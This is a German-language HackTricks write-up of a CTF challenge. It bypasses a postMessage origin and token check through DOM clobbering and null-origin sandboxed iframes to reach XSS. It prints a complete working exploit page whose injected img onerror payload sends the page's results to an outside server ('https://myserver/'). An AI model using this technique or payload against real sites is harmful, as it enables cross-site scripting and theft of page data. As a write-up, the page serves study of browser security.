Bypassing SOP with Iframes - 2

Support HackTricks

Iframes in SOP-2

In der Lösung für diese Herausforderung, @Strellic_ schlägt eine ähnliche Methode wie im vorherigen Abschnitt vor. Lass es uns überprüfen.

In dieser Herausforderung muss der Angreifer bypassen:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Wenn er das tut, kann er eine postmessage mit HTML-Inhalt senden, die auf der Seite mit innerHTML ohne Sanitärmaßnahmen geschrieben wird (XSS).

Der Weg, um die erste Überprüfung zu umgehen, besteht darin, window.calc.contentWindow auf undefined und e.source auf null zu setzen:

  • window.calc.contentWindow ist tatsächlich document.getElementById("calc"). Sie können document.getElementById mit <img name=getElementById /> überschreiben (beachten Sie, dass die Sanitizer API -hier- nicht konfiguriert ist, um gegen DOM-Clobbering-Angriffe in ihrem Standardzustand zu schützen).

  • Daher können Sie document.getElementById("calc") mit <img name=getElementById /><div id=calc></div> überschreiben. Dann wird window.calc undefined sein.

  • Jetzt müssen wir e.source auf undefined oder null setzen (weil == anstelle von === verwendet wird, ist null == undefined True). Dies zu erreichen ist "einfach". Wenn Sie ein iframe erstellen und eine postMessage von ihm senden und das iframe sofort entfernen, wird e.origin null sein. Überprüfen Sie den folgenden Code

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Um die zweite Überprüfung bezüglich des Tokens zu umgehen, wird token mit dem Wert null gesendet und der Wert von window.token auf undefined gesetzt:

  • Das Senden von token in der postMessage mit dem Wert null ist trivial.

  • window.token wird beim Aufruf der Funktion getCookie verwendet, die document.cookie nutzt. Beachten Sie, dass jeder Zugriff auf document.cookie in null Ursprungsseiten einen Fehler auslöst. Dies führt dazu, dass window.token den Wert undefined hat.

Die endgültige Lösung von @terjanq ist die folgende:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Unterstütze HackTricks

Last updated